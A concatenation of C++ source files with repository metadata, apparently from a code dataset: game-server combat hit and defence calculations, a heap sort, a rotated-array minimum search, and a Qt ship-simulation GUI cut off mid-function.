SuccessAttackRate = iTotalLevel * 5 + ((lpObj->Dexterity + lpObj->AddDexterity) * 6) / 2 + ( lpObj->Strength + lpObj->AddStrength) / 4 + ((lpObj->Leadership + lpObj->AddLeadership)/10);
SuccessAttackRate += SuccessAttackRate * lpObj->SetOpImproveSuccessAttackRate / 100;
}
else
{
SuccessAttackRate = iTotalLevel * 5 + ((lpObj->Dexterity + lpObj->AddDexterity) * 3) / 2 + ( lpObj->Strength + lpObj->AddStrength) / 4 ;
SuccessAttackRate += SuccessAttackRate * lpObj->SetOpImproveSuccessAttackRate / 100;
}
}
else
{
SuccessAttackRate = lpObj->m_AttackRating;
}
// ----
SuccessAttackRate += lpObj->m_MPSkillOpt.MpsAttackSuccessRate;//lpObj->m_MLPassiveSkill.m_iML_IncreaseAttackSuccessRate;
// ----
if( SuccessAttackRate < TargetSuccessfulBlocking )
{
bAllMiss = true;
}
// ----
if( bAllMiss )
{
if( (rand()%100) >= 5 )
{
#ifdef MONK
if( lpObj->Class == CLASS_MONK && byBarrageCount )
{
if( skill != 261 && skill != 263 )
{
if( byBarrageCount % 4 )
{
MsgDamage |= 0x10u;
}
else
{
MsgDamage |= 0x20;
}
}
else
{
if( byBarrageCount % 2 )
{
MsgDamage |= 0x10u;
}
else
{
MsgDamage |= 0x20;
}
}
}
#endif
// ----
GCDamageSend(lpObj->m_Index, lpTargetObj->m_Index, 0, 0, MsgDamage, 0);
// ----
if( magicsend != 0 )
{
GCMagicAttackNumberSend(lpObj, skill, lpTargetObj->m_Index, skillSuccess);
}
// ----
return false;
}
}
else
{
if( (rand() % SuccessAttackRate) < TargetSuccessfulBlocking )
{
#ifdef MONK
if( lpObj->Class == CLASS_MONK && byBarrageCount )
{
if( skill != 261 && skill != 263 )
{
if( byBarrageCount % 4 )
{
MsgDamage |= 0x10u;
}
else
{
MsgDamage |= 0x20;
}
}
else
{
if( byBarrageCount % 2 )
{
MsgDamage |= 0x10u;
}
else
{
MsgDamage |= 0x20;
}
}
}
#endif
// ----
GCDamageSend(lpObj->m_Index, lpTargetObj->m_Index, 0, 0, MsgDamage, 0);
// ----
if( magicsend != 0 )
{
GCMagicAttackNumberSend(lpObj, skill, lpTargetObj->m_Index, skillSuccess);
}
// ----
return false;
}
}
}
__except( lpObj->Level = 1,-1 )
{
LogAdd(lMsg.Get(MSGGET(2, 12)), lpObj->Name);
return false;
}
// ----
return true;
}
// -------------------------------------------------------------------------------
//0051f060 -> Revised
BOOL CObjBaseAttack::MissCheckPvP(LPOBJ lpObj , LPOBJ lpTargetObj, int skill, int skillSuccess, int magicsend, BOOL & bAllMiss, BYTE byBarrageCount)
{
float iAttackRate = 0; //ebp-8
float iDefenseRate = 0; //ebp-0c
int iAttackSuccessRate = 0; //ebp-10
// ----
if( IT_MAP_RANGE(lpTargetObj->MapNumber) )
{
if( g_IllusionTempleEvent.GetIllusionTempleState(lpTargetObj->MapNumber) == 2 )
{
if( lpTargetObj->Type == OBJ_USER )
{
if( g_IllusionTempleEvent.CheckSkillProdection(lpTargetObj->m_iIllusionTempleIndex, lpTargetObj->MapNumber ) != FALSE)
{
GCDamageSend(lpObj->m_Index, lpTargetObj->m_Index, 0, 0, 0, 0);
return false;
}
}
// ----
if( lpObj->PartyNumber == lpTargetObj->PartyNumber )
{
GCDamageSend(lpObj->m_Index, lpTargetObj->m_Index, 0, 0, 0, 0);
return false;
}
}
}
// ----
#ifdef __CUSTOMS__
int iTotalLevel = lpObj->Level + lpObj->m_nMasterLevel;
// ----
if( lpObj->Class == CLASS_KNIGHT )
{
iAttackRate = (float)(iTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact1 + ( lpObj->Dexterity * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact2) / g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateDiv);
}
else if( lpObj->Class == CLASS_DARKLORD )
{
iAttackRate = (float)(iTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact1 + ( lpObj->Dexterity * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact2 ));
}
else if( lpObj->Class == CLASS_ELF )
{
iAttackRate = (float)(iTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact1 + ( lpObj->Dexterity * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact2 ) / g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateDiv);
}
else if( lpObj->Class == CLASS_MAGUMSA )
{
iAttackRate = (float)(iTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact1 + ( lpObj->Dexterity * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact2 ) / g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateDiv);
}
else if( lpObj->Class == CLASS_WIZARD )
{
iAttackRate = (float)(iTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact1 + ( lpObj->Dexterity * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact2 ));
}
else if( lpObj->Class == CLASS_SUMMONER )
{
iAttackRate = (float)(iTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact1 + ( lpObj->Dexterity * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact2 ) / g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateDiv);
}
else if( lpObj->Class == CLASS_MONK )
{
iAttackRate = (float)((iTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact1RF) + (lpObj->Dexterity * g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateFact2) / g_ClassCalc.m_Data[lpObj->Class].PvPAttackRateDiv);
}
#else
int iTotalLevel = lpObj->Level + lpObj->m_nMasterLevel;
// ----
if( lpObj->Class == CLASS_KNIGHT )
{
iAttackRate = (float)(iTotalLevel * 3 + ( lpObj->Dexterity * 45) / 10);
}
else if( lpObj->Class == CLASS_DARKLORD )
{
iAttackRate = (float)(iTotalLevel * 3 + ( lpObj->Dexterity * 4 ));
}
else if( lpObj->Class == CLASS_ELF )
{
iAttackRate = (float)(iTotalLevel * 3 + ( lpObj->Dexterity * 6 ) / 10);
}
else if( lpObj->Class == CLASS_MAGUMSA )
{
iAttackRate = (float)(iTotalLevel * 3 + ( lpObj->Dexterity * 35 ) / 10);
}
else if( lpObj->Class == CLASS_WIZARD )
{
iAttackRate = (float)(iTotalLevel * 3 + ( lpObj->Dexterity * 4 ));
}
else if( lpObj->Class == CLASS_SUMMONER )
{
iAttackRate = (float)(iTotalLevel * 3 + ( lpObj->Dexterity * 35 ) / 10);
}
else if( lpObj->Class == CLASS_MONK )
{
iAttackRate = (float)(iTotalLevel * 2.6f + ( lpObj->Dexterity * 36 ) / 10);
}
#endif
// ----
#ifdef __CUSTOMS__
int iTargetTotalLevel = lpTargetObj->Level + lpTargetObj->m_nMasterLevel;
// ----
if( lpTargetObj->Class == CLASS_KNIGHT )
{
iDefenseRate = (float)(iTargetTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateFact + lpTargetObj->Dexterity / g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateDiv);
}
else if( lpTargetObj->Class == CLASS_DARKLORD )
{
iDefenseRate = (float)(iTargetTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateFact + lpTargetObj->Dexterity / g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateDiv);
}
else if( lpTargetObj->Class == CLASS_ELF )
{
iDefenseRate = (float)(iTargetTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateFact + lpTargetObj->Dexterity / g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateDiv);
}
else if( lpTargetObj->Class == CLASS_MAGUMSA )
{
iDefenseRate = (float)(iTargetTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateFact + lpTargetObj->Dexterity / g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateDiv);
}
else if( lpTargetObj->Class == CLASS_WIZARD )
{
iDefenseRate = (float)(iTargetTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateFact + lpTargetObj->Dexterity / g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateDiv);
}
else if( lpTargetObj->Class == CLASS_SUMMONER )
{
iDefenseRate = (float)(iTargetTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateFact + lpTargetObj->Dexterity / g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateDiv);
}
else if( lpTargetObj->Class == CLASS_MONK )
{
iDefenseRate = (float)((iTargetTotalLevel * g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateFactRF) + (lpTargetObj->Dexterity / g_ClassCalc.m_Data[lpObj->Class].PvPDefenseRateDiv));
}
#else
int iTargetTotalLevel = lpTargetObj->Level + lpTargetObj->m_nMasterLevel;
// ----
if( lpTargetObj->Class == CLASS_KNIGHT )
{
iDefenseRate = iTargetTotalLevel * 2 + lpTargetObj->Dexterity / 2;
}
else if( lpTargetObj->Class == CLASS_DARKLORD )
{
iDefenseRate = iTargetTotalLevel * 2 + lpTargetObj->Dexterity / 2;
}
else if( lpTargetObj->Class == CLASS_ELF )
{
iDefenseRate = iTargetTotalLevel * 2 + lpTargetObj->Dexterity / 10;
}
else if( lpTargetObj->Class == CLASS_MAGUMSA )
{
iDefenseRate = iTargetTotalLevel * 2 + lpTargetObj->Dexterity / 4;
}
else if( lpTargetObj->Class == CLASS_WIZARD )
{
iDefenseRate = iTargetTotalLevel * 2 + lpTargetObj->Dexterity / 4;
}
else if( lpTargetObj->Class == CLASS_SUMMONER )
{
iDefenseRate = iTargetTotalLevel * 2 + lpTargetObj->Dexterity / 2;
}
else if( lpTargetObj->Class == CLASS_MONK )
{
iDefenseRate = (iTargetTotalLevel * 1.5f) + lpTargetObj->Dexterity / 5;
}
#endif
// ----
if( iAttackRate <= 0.0f || iDefenseRate <= 0.0f || lpObj->Level <= 0 || lpTargetObj->Level <= 0 )
{
return false;
}
// ----
iAttackRate += lpObj->m_ItemOptionExFor380.OpAddAttackSuccessRatePVP;
iDefenseRate += lpTargetObj->m_ItemOptionExFor380.OpAddDefenseSuccessRatePvP;
// ----
iAttackRate += lpObj->m_JewelOfHarmonyEffect.HJOpAddAttackSuccessRatePVP;
iDefenseRate += lpTargetObj->m_JewelOfHarmonyEffect.HJOpAddDefenseSuccessRatePvP;
// ----
iAttackRate += lpObj->m_MPSkillOpt.MpsPVPAttackDmgRate;//lpObj->m_MLPassiveSkill.m_iML_AttackRate;
iDefenseRate += lpTargetObj->m_MPSkillOpt.MpsPVPBlockingRate;//lpTargetObj->m_MLPassiveSkill.m_iML_IncreasePvPDefenceRate;
// ----
float iExpressionA = (iAttackRate * 10000.0f) / (iAttackRate + iDefenseRate);
float iExpressionB = (iTotalLevel * 10000) / (iTotalLevel + iTargetTotalLevel);
// ----
iExpressionA /= 10000.0f;
iExpressionB /= 10000.0f;
// ----
iAttackSuccessRate = 100.0f * iExpressionA * g_fSuccessAttackRateOption * iExpressionB;
// ----
if( (iTargetTotalLevel - iTotalLevel) >= 100 )
{
iAttackSuccessRate -= 5;
}
else if( (iTargetTotalLevel - iTotalLevel) >= 200 )
{
iAttackSuccessRate -= 10;
}
else if( (iTargetTotalLevel - iTotalLevel) >= 300 )
{
iAttackSuccessRate -= 15;
}
// ----
DWORD dwRate = rand() % 100;
// ----
if( dwRate > iAttackSuccessRate )
{
int MsgDamage = 0; //1.01.00 update
// ----
if( lpObj->Class == CLASS_MONK && byBarrageCount )
{
if( skill != 261 && skill != 263 )
{
if( byBarrageCount % 4 )
{
MsgDamage |= 0x10;
}
else
{
MsgDamage |= 0x20;
}
}
else
{
if( byBarrageCount % 2 )
{
MsgDamage |= 0x10;
}
else
{
MsgDamage |= 0x20;
}
}
}
// ----
GCDamageSend(lpObj->m_Index, lpTargetObj->m_Index, 0, 0, MsgDamage, 0);
// ----
if( g_bShieldComboMissOptionOn )
{
if( lpObj->comboSkill.ProgressIndex >= 0 )
{
LogAddTD("[Shield] ComboSkill Cancel! [%s][%s]", lpObj->AccountID, lpObj->Name);
lpObj->comboSkill.Init();
}
}
// ----
return false;
}
// ----
return true;
}
// -------------------------------------------------------------------------------
int CObjBaseAttack::GetTargetDefense(LPOBJ lpObj, LPOBJ lpTargetObj, BYTE & MsgDamage) //Identical gs-cs 56
{
int targetdefense = lpTargetObj->m_Defense;
if ( lpObj->Type == OBJ_USER && lpTargetObj->Type == OBJ_USER )
{
targetdefense += lpTargetObj->m_ItemOptionExFor380.OpAddDefense / 2;
}
int iSkillMagumReduceDefense = 0;
iSkillMagumReduceDefense = gObjGetTotalValueOfEffect(lpTargetObj, ADD_OPTION_REDUCE_DEFENSE);
targetdefense -= (targetdefense * iSkillMagumReduceDefense)/100;
if ( lpObj->m_MonsterSkillElementInfo.m_iSkillElementDefenseTime > 0 )
{
targetdefense += lpObj->m_MonsterSkillElementInfo.m_iSkillElementDefense;
if ( targetdefense <0 )
{
targetdefense = 0;
}
}
int percentdamage = 0; //loc4
if ( lpObj->pInventory[7].IsItem() != FALSE )
{
percentdamage = lpObj->pInventory[7].IsWingOpGetOnePercentDamage();
percentdamage += lpObj->pInventory[7].IsThirdWingOpGetOnePercentDamage();
#ifdef NEWWINGS
percentdamage += lpObj->pInventory[7].IsNewWingOpGetOnePercentDamage();
#endif
}
percentdamage += lpObj->SetOpIgnoreDefense;
if ( percentdamage != 0)
{
if ( (rand()%100) <= percentdamage)
{
targetdefense = 0;
MsgDamage = 1;
}
}
return targetdefense;
}
// -------------------------------------------------------------------------------
int CObjBaseAttack::GetPartyMemberCount(LPOBJ lpObj)
{
LPOBJ lpPartyObj;
int partynum = lpObj->PartyNumber;
if ( OBJMAX_RANGE(partynum) == FALSE )
{
LogAdd("error : DecPartyMemberHPandMP %s %d", __FILE__, __LINE__);
return 0;
}
int partycount = gParty.m_PartyS[partynum].Count;
int retcount = 0;
for ( int n=0;n<MAX_USER_IN_PARTY;n++)
{
int memberindex = gParty.m_PartyS[partynum].Number[n];
if ( memberindex >= 0 )
{
lpPartyObj = &gObj[memberindex];
if ( lpObj->MapNumber == lpPartyObj->MapNumber )
{
int dis = gObjCalDistance(lpObj, &gObj[memberindex]);
if ( dis < MAX_PARTY_DISTANCE_EFFECT )
{
retcount++;
}
}
}
}
return retcount;
}
// -------------------------------------------------------------------------------
void ComboSkillData::Init() //forced location
{
this->dwTime = 0;
this->Skill[0] = -1;
this->Skill[1] = -1;
this->Skill[2] = -1;
this->ProgressIndex = -1;
}
// -------------------------------------------------------------------------------
|
b5780f2688aa28ca527d22dee833ed8f1a1eead7
|
12bb24d45fdf0cb5eaee382e76597aaffaaefba5
|
/LearningC++/HeapSort.cpp
|
61a581ea2daf0083d07d89b763bd492bdd310a7a
|
[] |
no_license
|
abhishekchoudhary05/LearningCpp
|
e22741d73d920c6fa4f273f627c536f1b65f8538
|
9257b1174124fc9cfc3d8350686236a1ef7adbbe
|
refs/heads/master
| 2023-01-19T01:48:24.600186
| 2020-11-19T12:42:33
| 2020-11-19T12:42:33
| 314,180,914
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 862
|
cpp
|
HeapSort.cpp
|
#include<iostream>
using namespace std;
void Heapify(int arr[], int parent, int length) {
int leftC = 2 * parent + 1;
int rightC = 2 * parent + 2;
int largest = parent;
if ((leftC < length) && (arr[leftC] > arr[largest]))
{
largest = leftC;
}
if (rightC < length && arr[rightC] > arr[largest])
{
largest = rightC;
}
if (largest != parent) {
swap(arr[largest], arr[parent]);
Heapify(arr, largest, length);
}
}
void HeapSort(int arr[], int length) {
for (int i = (length/2)-1; i >= 0; i--)
{
Heapify(arr, i, length);
}
for (int i = length-1; i > 0; i--)
{
swap(arr[0], arr[i]);
Heapify(arr, 0, i);
}
}
//int main(void) {
// int arr[] = { 4,1,3,9,7 };
// int length = sizeof(arr) / sizeof(arr[0]);
// HeapSort(arr, length);
//
// for (int i = 0; i < length; i++) {
// cout << arr[i] << " ";
// }
// cout << endl;
// return 0;
//}
|
1b09c78e26b3fd101967fae56c71f8d94b16de7c
|
220846e017a9992e596bd1ea806d527e3aeea243
|
/153_Find_Minimum_in_Rotated_Sorted_Array.cpp
|
13e6696b82e0f2731e3c2658c0cfdd7f3326403c
|
[] |
no_license
|
anzhe-yang/Leetcode
|
bfa443b7a74ddbd441348c364ee00004173ddd86
|
fe9eb16136035f25f31bddb37c6b4884cd7f6904
|
refs/heads/master
| 2020-04-08T14:49:04.781848
| 2019-10-25T02:39:22
| 2019-10-25T02:39:22
| 159,453,173
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 772
|
cpp
|
153_Find_Minimum_in_Rotated_Sorted_Array.cpp
|
/** 问题描述:
* 假设一个升序排列的数组从中间某个点进行了翻转。
* 找到翻转后最小的元素。
* 假设数组中没有重复元素。
*/
#include <iostream>
#include <vector>
using namespace std;
int findMin(vector<int>& nums)
{
/*
二分法查找。
*/
int len = nums.size();
int left = 0, right = len-1;
while (left < right)
{
if (nums[left] < nums[right])
return nums[left];
int mid = (left + right) >> 1;
if (nums[mid] >= nums[left])
left = mid + 1;
else
right = mid;
}
return nums[left];
}
int main(int argc, char const *argv[])
{
vector<int> nums{2, 1};
cout << findMin(nums);
return 0;
}
|
f1e91200bf3db1d73190777e3145700745f133de
|
7162ab5e888cae5eaabeedeebd9294ea51d2aec3
|
/mainwindow.cpp
|
974979ef55a0e1b0cdcd8e6700aa9789463f7e58
|
[] |
no_license
|
jashhk/Geosm
|
15b143e7ecf159c32279f613dbeb70cbf434275e
|
95e16404711108182a02b0f2c1036c4053b90c27
|
refs/heads/master
| 2021-01-10T21:14:24.675562
| 2011-03-10T09:11:33
| 2011-03-10T09:11:33
| 1,459,652
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 20,246
|
cpp
|
mainwindow.cpp
|
//! [0]
#include <QtGui>
#include <Qfont>
#include "mainwindow.h"
#include "mainwindow_p.h"
#include "QItemPanel.h"
MainWindow::MainWindow()
{
tw = new QDoubleSpinBox;
lc = new QDoubleSpinBox;
vc = new QDoubleSpinBox;
cb = new QDoubleSpinBox;
da = new QDoubleSpinBox;
speed = new QDoubleSpinBox;
ta_one = new QDoubleSpinBox;
ta_two = new QDoubleSpinBox;
ta_three = new QDoubleSpinBox;
//textEdit = new QPlainTextEdit();
//QTabWidget *tabWidget = new QTabWidget;
QTabBar *tabBar = new QTabBar;
QStackedWidget *stackedWidget = new QStackedWidget;
QWidget *simulation = new QWidget;
QWidget *statistic = new QWidget;
QWidget *report = new QWidget;
//Total Weight
tw->setRange(0.0,999999999.0);
tw->setDecimals(2);
//Longtitude Center of Gravity
lc->setRange(0.0,999999999.0);
lc->setDecimals(2);
//Vertical Center of Gravity
vc->setRange(0.0,999999999.0);
vc->setDecimals(2);
//Chine Beam Angle
cb->setRange(0.0,90.0);
cb->setDecimals(2);
//Deadrise Angle
da->setRange(0.0,30.0);
da->setDecimals(2);
//Speed
speed->setRange(0.0,999999999.0);
speed->setDecimals(2);
//1
ta_one->setRange(2.0, 24.0);
ta_one->setSingleStep(0.1);
ta_one->setDecimals(2);
//2
ta_two->setRange(2.0, 24.0);
ta_two->setSingleStep(0.1);
ta_two->setDecimals(2);
//3
ta_three->setRange(2.0, 24.0);
ta_three->setSingleStep(0.1);
ta_three->setDecimals(2);
// setCentralWidget(textEdit);
setDockOptions(QMainWindow::AnimatedDocks);
setCentralWidget(stackedWidget);
//tabWidget->addTab(simulation, QIcon(":/images/basic set/video_16.png"), tr("Simulation"));
//tabWidget->addTab(statistic, QIcon(":/images/basic set/statistics_16.png"), tr("Statistic"));
//tabWidget->addTab(report, QIcon(":/images/basic set/document_pencil_16.png"), tr("Report"));
////////////////////////////////////////////////////
tabBar->addTab(QIcon(":/images/basic set/video_16.png"), tr("Simulation"));
stackedWidget->addWidget(simulation);
tabBar->addTab(QIcon(":/images/basic set/statistics_16.png"), tr("Statistic"));
stackedWidget->addWidget(statistic);
tabBar->addTab(QIcon(":/images/basic set/document_pencil_16.png"), tr("Report"));
stackedWidget->addWidget(report);
connect(tabBar,SIGNAL(currentChanged(int)),stackedWidget,SLOT(setCurrentIndex(int)));
////////////////////////////////////////////////////
//createActions();
//createMenus();
createStatusBar();
createDockWindows();
createToolBars();
/*connect(textEdit->document(), SIGNAL(contentsChanged()),
this, SLOT(documentWasModified()));*/
setWindowIcon(QIcon(":/images/icon.png"));
setUnifiedTitleAndToolBarOnMac(true);
this->setMenuWidget(tabBar);
}
void MainWindow::newFile()
{
tw->setValue(0.00);
lc->setValue(0.00);
vc->setValue(0.00);
cb->setValue(0.00);
da->setValue(0.00);
speed->setValue(0.00);
ta_one->setValue(2.00);
ta_two->setValue(2.00);
ta_three->setValue(2.00);
}
bool MainWindow::save()
{
QString fileName = QFileDialog::getSaveFileName(this);
if (fileName.isEmpty())
return false;
return saveFile(fileName);
}
bool MainWindow::saveFile(const QString &fileName)
{
QFile file(fileName);
if (!file.open(QFile::WriteOnly | QFile::Text)) {
QMessageBox::warning(this, tr("Application"),
tr("Cannot write file %1:\n%2.")
.arg(fileName)
.arg(file.errorString()));
return false;
}
QTextStream out(&file);
#ifndef QT_NO_CURSOR
QApplication::setOverrideCursor(Qt::WaitCursor);
#endif
out << tw->text();
out << tr(" ");
out << lc->text();
out << tr(" ");
out << vc->text();
out << tr(" ");
out << cb->text();
out << tr(" ");
out << da->text();
out << tr(" ");
out << speed->text();
out << tr(" ");
out << ta_one->text();
out << tr(" ");
out << ta_two->text();
out << tr(" ");
out << ta_three->text();
out << tr(" ");
out << textEdit_output->toPlainText();
#ifndef QT_NO_CURSOR
QApplication::restoreOverrideCursor();
#endif
// setCurrentFile(fileName);
statusBar()->showMessage(tr("File saved"), 2000);
return true;
}
/*void MainWindow::setCurrentFile(const QString &fileName)
{
curFile = fileName;
textEdit_output->document()->setModified(false);
setWindowModified(false);
QString shownName = curFile;
if (curFile.isEmpty())
shownName = "untitled.txt";
setWindowFilePath(shownName);
}*/
void MainWindow::calculation()
{
Result r = calMain( Input(tw->text().toDouble(),
lc->text().toDouble(),
vc->text().toDouble(),
cb->text().toDouble(),
da->text().toDouble(),
speed->text().toDouble(),
ta_one->text().toDouble(),
ta_two->text().toDouble(),
ta_three->text().toDouble()) );
int errCount = 0;
textEdit_output->clear();
for ( errCount = 0 ; r.get_msg(errCount) != "" ; errCount++ )
{
textEdit_output->appendPlainText(tr(r.get_msg(errCount).c_str()));
}
if ( errCount == 0 )
{
textEdit_output->appendPlainText(tr(r.isStable()?"Stable":"Unstable"));
textEdit_output->appendPlainText(tr("EHP = ") + QString::number(r.get_EHP()));
// QMessageBox::about(this, tr("Calculation"),tr(r.isStable()?"Stable":"Unstable"));
// QMessageBox::about(this, tr("Calculation"),tr("EHP = ") + QString::number(r.get_EHP()));
}
isAllowSave();
}
bool MainWindow::isErrExists()
{
if ( tw->text()!=tr("0.00") &&
lc->text()!=tr("0.00") &&
vc->text()!=tr("0.00") &&
cb->text()!=tr("0.00") &&
da->text()!=tr("0.00") &&
speed->text()!=tr("0.00") &&
ta_one->text()!=tr("0.00") &&
ta_two->text()!=tr("0.00") &&
ta_three->text()!=tr("0.00") )
{
Result r = calMain( Input(tw->text().toDouble(),
lc->text().toDouble(),
vc->text().toDouble(),
cb->text().toDouble(),
da->text().toDouble(),
speed->text().toDouble(),
ta_one->text().toDouble(),
ta_two->text().toDouble(),
ta_three->text().toDouble()) );
return ( r.get_msg(0) != "" ) ? true : false;
}
return true;
}
void MainWindow::about()
{
HelpDialog aboutDia(this);
aboutDia.exec();
}
void MainWindow::help()
{
QMessageBox aboutMsg;
aboutMsg.setIconPixmap(QPixmap(":/images/basic set/help_64.png"));
aboutMsg.setWindowTitle(tr("Help"));
aboutMsg.setText(tr("This help menu provides an operative description about GEOSM."));
aboutMsg.setInformativeText(tr("Step 1: Users are required to new a project\n"
"Step 2: Users are able to input data by the spin box from the calculation widge\n"
"Step 3: Users need to re-input data while there are invalid input\n"
"Step 4: Result will be shown in the Result widget locates in the buttom left corner\n"
"Step 5: User can view the 3D simulation in the main windows\n"
"Step 6: Users can save the result by selecting appropriate directory"));
aboutMsg.exec();
}
void MainWindow::isAllowSave()
{
if ( !isErrExists() )
{
exportAct->setEnabled(true);
}
else
{
exportAct->setEnabled(false);
}
}
void MainWindow::createActions()
{
newAct = new QAction(QIcon(":/images/new.png"), tr("&New"), this);
newAct->setStatusTip(tr("Create a new file"));
newAct->setShortcuts(QKeySequence::New);
connect(newAct, SIGNAL(triggered()), this, SLOT(newFile()));
exportAct = new QAction(QIcon(":/images/save.png"),tr("&Export"), this);
exportAct->setStatusTip(tr("Export file"));
exportAct->setShortcuts(QKeySequence::Save);
exportAct->setEnabled(false);
connect(exportAct, SIGNAL(triggered()), this, SLOT(save()));
exitAct = new QAction(tr("&Exit"), this);
exitAct->setStatusTip(tr("Exit the application"));
exitAct->setShortcuts(QKeySequence::Quit);
connect(exitAct, SIGNAL(triggered()), this, SLOT(close()));
aboutDeAct = new QAction(tr("&About Us"), this);
aboutDeAct->setStatusTip(tr("Show the detail of Naval Engineering System"));
connect(aboutDeAct, SIGNAL(triggered()), this, SLOT(about()));
helpAct = new QAction(QIcon(":/images/help.png"),tr("&Context help"), this);
helpAct->setStatusTip(tr("Show help"));
helpAct->setShortcuts(QKeySequence::HelpContents);
connect(helpAct, SIGNAL(triggered()), this, SLOT(help()));
}
/*void MainWindow::changePrecision(int decimals)
{
doubleSpinBox->setDecimals(3);
}*/
void MainWindow::createMenus()
{
fileMenu = menuBar()->addMenu(tr("&File"));
fileMenu->addAction(newAct);
fileMenu->addAction(exportAct);
fileMenu->addSeparator();
fileMenu->addAction(exitAct);
helpMenu = menuBar()->addMenu(tr("&Help"));
helpMenu->addAction(aboutDeAct);
helpMenu->addAction(helpAct);
}
void MainWindow::createToolBars()
{
menuToolButton = new QToolButton;
QMenu *toolBarMenu = new QMenu(menuToolButton);
fileToolBar = addToolBar(tr("Main toolbar"));
QIcon newFileIcon(":/images/basic set/document_32.png");
newFileIcon.addFile(":/images/basic set/document_16.png", QSize(16, 16));
newAct = toolBarMenu->addAction(newFileIcon, tr("&New file"), this, SLOT(newFile()), QKeySequence::New);
newAct->setStatusTip(tr("Create a new file"));
toolBarMenu->addAction(QIcon(":/images/basic set/folder_16.png"), tr("&Open file"), this, SLOT(emptySLOT()), QKeySequence::Open);
QIcon saveFileIcon(":/images/basic set/save_32.png");
saveFileIcon.addFile(":/images/basic set/save_16.png", QSize(16, 16));
exportAct = toolBarMenu->addAction(saveFileIcon,tr("&Save file"), this, SLOT(save()), QKeySequence::Save);;
exportAct->setStatusTip(tr("Save file"));
exportAct->setEnabled(false);
toolBarMenu->addAction(tr("Save &as..."), this, SLOT(emptySLOT()), QKeySequence::SaveAs);
toolBarMenu->addSeparator();
QMenu *preferenceMenu = toolBarMenu->addMenu(tr("&Preference"));
preferenceMenu->addAction(QIcon(":/images/basic set/settings_16.png"), tr("&Setting"), this, SLOT(emptySLOT()), QKeySequence::Preferences);
preferenceMenu->addSeparator();
toogleDockAct = preferenceMenu->addAction(tr("Hide all side panels"), this, SLOT(toogleAllDockWidget()));
preferenceMenu->addAction(dock->toggleViewAction());
preferenceMenu->addAction(dock_realtime->toggleViewAction());
preferenceMenu->addAction(dock_output->toggleViewAction());
preferenceMenu->addSeparator();
preferenceMenu->addAction(fileToolBar->toggleViewAction());
QMenu *helpMenu = toolBarMenu->addMenu(tr("&Help"));
QIcon helpIcon(":/images/basic set/help_32.png");
helpIcon.addFile(":/images/basic set/help_16.png", QSize(16, 16));
helpAct = helpMenu->addAction(helpIcon ,tr("Context &help"), this, SLOT(help()), QKeySequence::HelpContents);
helpAct->setStatusTip(tr("Show help"));
helpMenu->addSeparator();
aboutDeAct = helpMenu->addAction(QIcon(":/images/basic set/info_16.png"), tr("&About GEOSM"), this, SLOT(about()));
aboutDeAct->setStatusTip(tr("Show the detail of Naval Engineering System"));
toolBarMenu->addSeparator();
exitAct = toolBarMenu->addAction(tr("E&xit"), this, SLOT(close()), QKeySequence::Quit);
exitAct->setStatusTip(tr("Exit the application"));
QAction *menuAct = new QAction(QIcon(":/images/basic set/home_32.png"), tr("Menu"), this);
menuToolButton->setDefaultAction(menuAct);
menuToolButton->setPopupMode(QToolButton::InstantPopup);
menuToolButton->setToolButtonStyle(Qt::ToolButtonTextBesideIcon);
menuToolButton->setMenu(toolBarMenu);
fileToolBar->setIconSize(QSize(32, 32));
fileToolBar->addWidget(menuToolButton);
fileToolBar->addAction(newAct);
fileToolBar->addAction(exportAct);
fileToolBar->addAction(helpAct);
//setMenuWidget(menuToolButton);
connect(fileToolBar,SIGNAL(orientationChanged(Qt::Orientation)),this,SLOT(changeToolButtonStyle(Qt::Orientation)));
}
void MainWindow::toogleAllDockWidget()
{
if(dock->isHidden()||dock_realtime->isHidden()||dock_output->isHidden())
{
dock->setVisible(true);
dock_realtime->setVisible(true);
dock_output->setVisible(true);
}
else
{
dock->close();
dock_realtime->close();
dock_output->close();
}
}
void MainWindow::toogleDockActText()
{
if(dock->isHidden()||dock_realtime->isHidden()||dock_output->isHidden())
{
toogleDockAct->setText(tr("Show all side panels"));
}
else
{
toogleDockAct->setText(tr("Hide all side panels"));
}
}
void MainWindow::createStatusBar()
{
statusBar()->showMessage(tr("Willow Project All Rights Reserved @ 2011"));
}
void MainWindow::createDockWindows()
{
dock = new QDockWidget(tr("Properties of ship"));
connect(dock, SIGNAL(visibilityChanged(bool)), this, SLOT(toogleDockActText()));
dock->setMinimumWidth(300);
//dock->setMinimumHeight(600);
